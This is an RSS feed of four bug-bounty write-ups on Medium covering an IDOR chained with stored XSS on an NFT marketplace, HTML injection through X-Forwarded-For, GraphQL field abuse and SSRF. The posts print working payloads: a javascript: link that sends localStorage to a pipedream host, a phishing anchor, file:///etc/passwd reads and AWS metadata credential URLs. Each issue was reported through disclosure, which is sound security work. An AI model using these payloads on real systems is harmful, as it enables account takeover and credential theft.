<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by pratik yadav on Medium]]></title>
        <description><![CDATA[Stories by pratik yadav on Medium]]></description>
        <link>https://medium.com/@pratiky054?source=rss-627ccfc19348------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*GYovKyLWOiuFfQhF0Ct52A.jpeg</url>
            <title>Stories by pratik yadav on Medium</title>
            <link>https://medium.com/@pratiky054?source=rss-627ccfc19348------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 02:54:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pratiky054/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Account Takeover: Unraveling IDOR + Stored XSS Flaws in an NFT Marketplace]]></title>
            <link>https://medium.com/@pratiky054/account-takeover-unraveling-idor-stored-xss-flaws-in-an-nft-marketplace-158679660fa7?source=rss-627ccfc19348------2</link>
            <guid isPermaLink="false">https://medium.com/p/158679660fa7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[pratik yadav]]></dc:creator>
            <pubDate>Mon, 26 Jun 2023 15:55:58 GMT</pubDate>
            <atom:updated>2023-06-26T15:55:58.216Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Everyone, <br>I hope you are well :) Note I haven’t used chatgpt to write this blog for me 🙂so I hope you all ignore any grammatical errors. Well, it&#39;s a while since I have shared anything with the information security community so here is an exciting security issue I discovered in an NFT marketplace that allowed me to take over anyone&#39;s account by chaining IDOR and XSS to achieve a complete account takeover vulnerability.</p><p>We will cover each vulnerability with the actual flow and then chain all these issues</p><p>XSS →IDOR → Account takeover</p><p>Let&#39;s start with XSS first</p><p><strong>Note</strong>: We will call our target application vulnerablemarketplace.com</p><p><strong>About this application</strong>: In this application, every request is validated with a signature which acts like a cookie or authentication header.</p><h3><strong>Vulnerability 1: Stored XSS</strong></h3><p>Like every other application, it has a profile section where users can upload profile pictures / upload art/ Update bios/ Email / Add social links like Instagram or Telegram</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*j10GQ0eryXPQIxn6ZtZqSQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*Kj99QupN2yqqy9AgodygWg.png" /></figure><p>so the very basic step I did was to save my Twitter and Instagram link as javascript:alert(document.domain) , when I saved my info and clicked on Twitter or Instagram icon javascript got executed which confirmed we have a working stored XSS in the nft marketplace</p><p><strong>Steps to reproduce</strong></p><ol><li>Login to my vulnerablemarketplace.com nft account with the wallet</li><li>Then navigated to my profile settings and saved my Instagram and Twitter link as javascript:alert(document.domain)</li></ol><p>Here is the post request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*luBUl334TJYmUIp_hjyX4Q.jpeg" /></figure><p>3. So whenever we click on our profile Twitter or Instagram icon XSS will be executed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*k9aCI4t7DikIpeIjIKM7HQ.jpeg" /></figure><h3><strong>Vulnerability 2: Idor to Modify profile details of any users</strong></h3><p>About the vulnerability: Attackers can modify users&#39; profile information including contact email, Twitter or Instagram link, only requirement here is we need to get the victim&#39;s wallet address (Which is already public information on the blockchain as every user do share a wallet address to some or other person).</p><p><strong>Requirements</strong>: <strong><em>Victims wallet address (This we can easily get as users do share this with other users and address is a public information )</em></strong></p><p><strong>Steps to reproduce</strong></p><p>Setup: I created two accounts A. Attacker B. Victim (Copied victims wallet address)</p><ol><li>The attacker connects his wallet to vulnerablemarketplace.com</li><li>Go to his profile settings and enter any random information on email , Twitter link, and captures the request in any proxy tool(BURP)</li><li>Some parameters in this post request that is really interesting as attacker&#39;s point of view are acccount_address, signer, and signature.</li></ol><p>account_address= users wallet address</p><p>signer= same as account address</p><p>signature= acts like a auth token or cookie to properly validate users&#39; requests</p><p>4. <strong>I modified the account_address of the attackers with the account address of the victim</strong> and sent the request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gtlyncJ21aPLtaHQT_WaLQ.jpeg" /></figure><p>5. And YES!!!! we were able to modify the victim users profiles with our own values . We were able to modify victims&#39; email,Twitter , Instagram link with our own control values</p><p><strong>Note</strong>: Some of you may have a question that if we are able to modify the email of the victim then there is already an account takeover 🧐 ? No since this is an NFT application there is no email authentication in place we have to connect using a wallet extension (We need to steal victims signature so we can use it to steal nft or artwork )</p><h3><strong>Chaining Vulnerability 1 + Vulnerability 2</strong></h3><p>By now we already have an IDOR and a Stored XSS. I could have just shared my profile with other users to steal the data but by chaining this IDOR we can modify the profile details of very high reputable users to increase the impact</p><p>Things to remember: Application doesn’t has cookies but stores the signature value in the browser localStorage so we will craft the payload to steal that signature values</p><p><strong>Steps to reproduce</strong></p><ol><li>Capture the POST Request of changing your profile information in proxy tool such as Burp</li><li>Modify the instagram and twitter link to this payload.</li><li>We are particularly interested in the signature value as this is required to make every request . Signature value is stored in the localStorage so here is the javascript payload which we will be using to steal that value and send it to our pipedream url</li></ol><blockquote>javascript:token=JSON.stringify(localStorage),url=’https://mypipedream.m.pipedream.net/&#39;+token,fetch(url)</blockquote><p>4. <strong>Modify the account_address to victim&#39;s wallet address</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pIeLg0wTnPmJmkFCANw9Q.jpeg" /></figure><p>5. Send the request and done :) As soon as the victim will be clicking on his instagram or twitter link or by the users visit victim users profile XSS will be executed and the signature value of users will be leaked to my server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*wj4eQ0TfkrEulYLd17I1Yw.jpeg" /></figure><p>Now you can see we have stolen victims signature using XSS . Now we can make any other requests to perform other authenticated operations like selling the art or transferring it or deleting the art work of users</p><p><strong>Disclosure</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*afGaDrglSCO2QJkV3t0TCg.jpeg" /></figure><p>Thank you so much for taking the time to read this blog post. It’s because of engaged readers like you that we’re able to shed light on critical vulnerabilities and enhance security measures. Let’s continue to foster this community of knowledge-sharing, creating a safer digital space for everyone. Stay tuned for more insightful posts, and remember: stay secure, and stay vigilant.</p><p>Best Regards</p><p>Pratik Yadav</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=158679660fa7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTML Injection(Unique Exploitation)]]></title>
            <link>https://medium.com/@pratiky054/html-injection-unique-exploitation-a5c3d4e6fed8?source=rss-627ccfc19348------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5c3d4e6fed8</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[pratik yadav]]></dc:creator>
            <pubDate>Tue, 07 Jan 2020 09:00:25 GMT</pubDate>
            <atom:updated>2020-01-07T09:02:09.602Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Guys! I know HTML injection is not something you wanted to read but however its an unique issue which i have found.</p><p><strong>About the Application</strong></p><p>This web application has different authentication process. You will have to enter your username and it will send you an magic link to your email which will have an login link.</p><p>Here is how the link looks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*waRxH6xnL9iSKSCJPGranA.jpeg" /></figure><p>So something to note here is the IP ? I don’t know how it got into my head to Spoof this ip although i know this not an issue .</p><p><strong>Steps to Reproduce</strong></p><ol><li>When we login the following POST Request is made</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RvJDk46hZ7rHxj1jCtI0zA.png" /></figure><p>2. So I have read some blogs where I have seen few guys bypassing rate limit using spoofing X-Forwarded-For: so i thought lets try</p><blockquote><strong>So I added X-Forwarded-For: google.com and in the mail I got my Ip as google.com so next i wanted to try HTML injection</strong></blockquote><p>I made the following request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8AM8gNSGvKQBeXl-IMYhGg.png" /></figure><p>So as you can see i have added a X-Forwarded-For: &lt;h1&gt;Pratik Attacker&lt;/h1&gt; so i was expecting Pratik Attacker in h1 at my email .</p><p>So as expected . You can see in the screenshot my IP address is displayed as Pratik Attacker as H1 which clearly prooves that the site was vulnerable to html injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GRfjLtZxwLZ7rnzgHKdvzA.jpeg" /></figure><p>So what next</p><p>I added X-Forwarded-For :- &lt;a href=”attacker.com”&gt;&lt;h1&gt;&lt;font color=”red”&gt;Please click here to login to your account&lt;h1&gt;&lt;/font&gt;&lt;/a&gt; in the post request and as expected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Q2STBBa_4PgdBCjxhx17Q.png" /></figure><p>Disclosure</p><p>I quickly created a report and I reported this to the CEO on Telegram so instantly he messaged me that he has individually fixed the bug in just 2 Minutes and rewarded me 250$ for this vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_Jx8b7C-f4NkgKj-1Eafw.jpeg" /></figure><p>As you can see he just fixed this issue in 2 Minutes &gt;I really appreciate his dedication for his product.</p><p>Thanks <br>Best Regards</p><p>Pratik Yadav</p><p><a href="https://twitter.com/@PratikY9967">https://twitter.com/@PratikY9967</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5c3d4e6fed8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Graphql Bug to Steal Anyone’s Address]]></title>
            <link>https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417?source=rss-627ccfc19348------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc34f0374417</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[pratik yadav]]></dc:creator>
            <pubDate>Sun, 01 Sep 2019 05:17:09 GMT</pubDate>
            <atom:updated>2019-09-11T11:58:51.062Z</atom:updated>
            <content:encoded><![CDATA[<h3>Graphql Abuse to Steal Anyone’s Address</h3><p><strong>Introduction</strong></p><p>Due to some reasons, I had to remove this blog post earlier as I didn’t have any approval from the Security Team of that program. Now they have approved my blog post. Well again this is not an English literature or grammar blog please ignore errors .</p><p>I am <strong>Pratik Yadav</strong> Currently working as <strong>Security Engineer at Crypto Buying Site</strong>(<strong>Also I am Final Year Computer Engineering Student</strong>), I am thankful to Company that they have offered me a full-time job even though I haven’t completed my graduation.</p><p><strong>About the Vulnerability</strong></p><p>For Discovering this bug I learned graphql basics for at least 4–5 Hours and reading all other bug reports available. When I was checking the subdomains of the target, <strong>I found a subdomain stg.target.com</strong> and I founded that they are Using <strong><em>graphql</em></strong> instead of Rest-API</p><p>You can read more about graphql here:- <a href="https://graphql.org/">https://graphql.org/</a> (Graphql is an alternative to Rest-API.</p><p><strong>About the application:- </strong>In this application users can send money to their family members or friends or any users</p><p><strong>Requirement</strong>:- Just email address of victim</p><p><strong>Steps (Screenshots are enough so you can skip theory)</strong></p><ol><li>First I kept the application request flow through the Burp proxy and I performed Certain operation likes sending money to my another test account, etc.</li><li>So After performing every possible operation, I checked all the http requests. So after checking all the http requests my attention got to the endpoint which was generated when we are sending money to other users</li><li><strong>So before sending the money ,the application first validate whether the second user is a registered user or not , This was the Graphql Query which was validating whether the user is registered on the platform or not</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eySZuREyqkKX6G3DQWx7Zg.jpeg" /></figure><p>4. Now, <strong>look into the Response of this request</strong> in the screenshot you can see there is <strong>“__typename:- Auth_User” .</strong> <br>5. So after some time, I decided to<strong> find all the field values of the __typename:-Auth_user.</strong></p><p>6. So all the <strong>__typename</strong> and <strong>field values</strong> can be found by using introspection query. So I fired following introspection query</p><p><a href="https://api.stg.target.com/graphq?query={__schema{types{name,fields{name}}}}">https://api.stg.target.com/graphq?query={__schema{types{name,fields{name}}}}</a> (And yes it throws all the typenames and field values}</p><p>So I checked all the fieldvalues of <strong>typename:- Auth_user</strong> and I noted <strong>addressLine1</strong> and <strong>addressLine2</strong> which is something we are not allowed to see of someone else</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4VY5yTtO90e0Jv5IgdBKUQ.jpeg" /></figure><p>7. So I replaced <strong>status</strong> value in the original request (<strong>Please compare this screenshot with screenshot1</strong>) (<strong>Now you can see I replaced the status value with addressLine1 in the original request and fired it</strong> ) And As expected it throws the addressline1 to other users. You can see it leaked my test account address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q3RswtQMZ3W5SJ3YxkxcYw.jpeg" /></figure><p>So with just email, you can steal anyone&#39;s address and other sensitive information</p><p>Similarly, I replaced it with <strong>balance, wallet_address</strong> and it showed the information of other user which we are not supposed to view.</p><p><strong>Disclosure</strong></p><ol><li>I Reported to them around 1 Am (Indian Standard Time)</li><li>They saw the video proof I provided and immediately taken down the subdomain</li><li>Yes they rewarded me with <strong>4 Digit $ (My highest bounty so far)</strong></li></ol><p>Thanks <br>Looking forward to share more blogs</p><p>Best Regards</p><p>Pratik Yadav</p><p>You can reach out to me https://twitter.com/@PratikY9967</p><figure><a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_image"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PYxBP_WV7LI6zc-zdUkNqQ.png" /></a></figure><p>📝 Read this story later in <a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_read_later_text">Journal</a>.</p><p>👩‍💻 Wake up every Sunday morning to the week’s most noteworthy stories in Tech waiting in your inbox. <a href="https://usejournal.com/newsletter/noteworthy-in-tech/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_text">Read the Noteworthy in Tech newsletter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc34f0374417" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ssrf to Read Local Files and Abusing the AWS metadata]]></title>
            <link>https://medium.com/@pratiky054/ssrf-to-read-local-files-and-abusing-the-aws-metadata-8621a4bf382?source=rss-627ccfc19348------2</link>
            <guid isPermaLink="false">https://medium.com/p/8621a4bf382</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[infosecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[pratik yadav]]></dc:creator>
            <pubDate>Sun, 21 Apr 2019 05:49:52 GMT</pubDate>
            <atom:updated>2019-04-21T05:49:52.374Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Guys ,</p><p>I am Pratik Yadav ,Currently working as Security Engineer in one Crypto Exchange platform:)</p><p><strong>Well This not a English Grammer blog so Please ignore any grammatical mistakes.</strong> Previously I wrote a blog post about the <strong>payment bypass bug</strong> which i founded on a Program and i Received lot of positive feedback so it motivated me to share one more findings with the community .If you haven’t read that blog you can read it by following this <a href="https://pratikyadav0.blogspot.com/2018/10/hello-everyone-took-some-time-from-my.html?token=APq4FmCG9wglJDPfRV_5FRD1erp9B8VuUTRrID-xX23HwP76edegl2PCDSYOdPXEn4uKGQLgySwi0WbSRDEug_F_0i-e4H7Da3erfW4RzGsWS5MYbL5M5O1j8ZpGY9LaHeufSlBJJRI1&amp;postId=2785800841484400381&amp;type=POST">link</a> .</p><p>So lets talk about the bug :-</p><p>Firstly I crawled and manually performed all the operations as a user on that application . And after that i checked every possible request on burp http history and Frankly saying i was looking out for a url redirection Vulnerability . So i Searched on Burp of possible parameters of url= And ended up with a url which basically was something like this</p><p><a href="https://example.com/viewimage/?url=Location">https://example.com/viewimage/?url=</a>Aws image location(stored and loaded from aws ) So This endpoint was basically loading the image that i uploaded on the site and my image was stored on aws bucket . As we have got a clear idea that it is loading content. Why not to load content from other domain ? Try RFI ?</p><p>Steps that i followed:-</p><h3><strong>Trying Xss :)(Failed)</strong></h3><ol><li>Firstly I tried to get a Xss .So i have read many blog about getting a xss . All I did is Simply added <a href="http://brutelogic.com.br/poc.svg">http://brutelogic.com.br/poc.svg</a> in the url . So the Final crafted url was like <a href="https://example.com/viewimage/?url=Location">https://example.com/viewimage/?url=</a><a href="http://brutelogic.com.br/poc.svg">http://brutelogic.com.br/poc.svg</a> . <strong>So I Visited the url but it was not loading the content but a simple text file gets downloaded And it was having nothing in it.</strong></li></ol><p><strong>Trying to Read Local Files (Success)</strong></p><ol><li>Next I tried URL schemas to read internal and make server perform actions (file:///, dict://, ftp://, gopher://..) So the final crafted url was <a href="https://example.com/viewimage/?url=Location">https://example.com/viewimage/?url=file</a>:///etc/passwd<br>And Again a Text File gets downloaded like</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*WYrxagK-6ok4r-uC6VUx2Q.jpeg" /></figure><p>So When I checked the Text File which was downloaded I was bit surprised by seeing the content of the text file. It Was content of etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*3GZzaPC7Qs6C8m87c7yhrQ.jpeg" /></figure><p>Escalating it More :)<br>Now as I have seen this site was loading images from aws . So i Thought why not to extract internal AWS metadata.</p><p><strong>Reading Aws EC2 Metadata</strong></p><p>I replaced the url parameter by To view all categories of instance metadata from within a running instance, use the following URI: <a href="http://169.254.169.254/latest/meta-data">http://169.254.169.254/latest/meta-data</a> So the Final crafted url <a href="https://example.com/viewimage/?url=Location">https://example.com/viewimage/?url</a><a href="http://169.254.169.254/latest/meta-data">=http://169.254.169.254/latest/meta-data</a> Now as expected it again downloaded a Txt file and after viewing. it showed below information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*t_HbzrVvM7c3d4HXDpa3lA.jpeg" /></figure><p>4. Now Reading Secrets to Make it more critical :) to rain aws access key , secretaccess key simply i appended this url in the parameter in</p><p><a href="http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role">http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role</a></p><p>And it rained the secret access key , token ,region ,etc. So now using aws client I can export this details and could have get access :)</p><p>Simply This bug allowed me to achieve RCE using a SSRF Vulnerability .</p><p>To Read More about escalating it After getting the secret key etc you can follow this blog <a href="https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/">https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/</a></p><p><strong>“Secondly I would like to Thanks <em>ENCIPHERS Team for Training which i attended in Delhi And it was Beautifully conducted by Abhinav mishra , Narendra and abhishek Specially for Creating the Vulnerable application . <br>And the SSRF challenge was same as that I founded in This private program”</em></strong></p><h3>Now what everyone looks for In Blog Post :)(Bounty)</h3><ol><li>Reported the vulnerability to the program via There BB Program</li><li>Within a Day I received the message that Bug was fixed and they rewarded Me with 4 Digit $ Bounty and also Bonus</li><li>But however they where not so happy with me because i escalated it more than enough just to demonstrate and they revoked the credentials :)</li></ol><p>Thanks Hope you liked my blog post , Please do share this :)</p><p>Pratik Yadav</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8621a4bf382" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>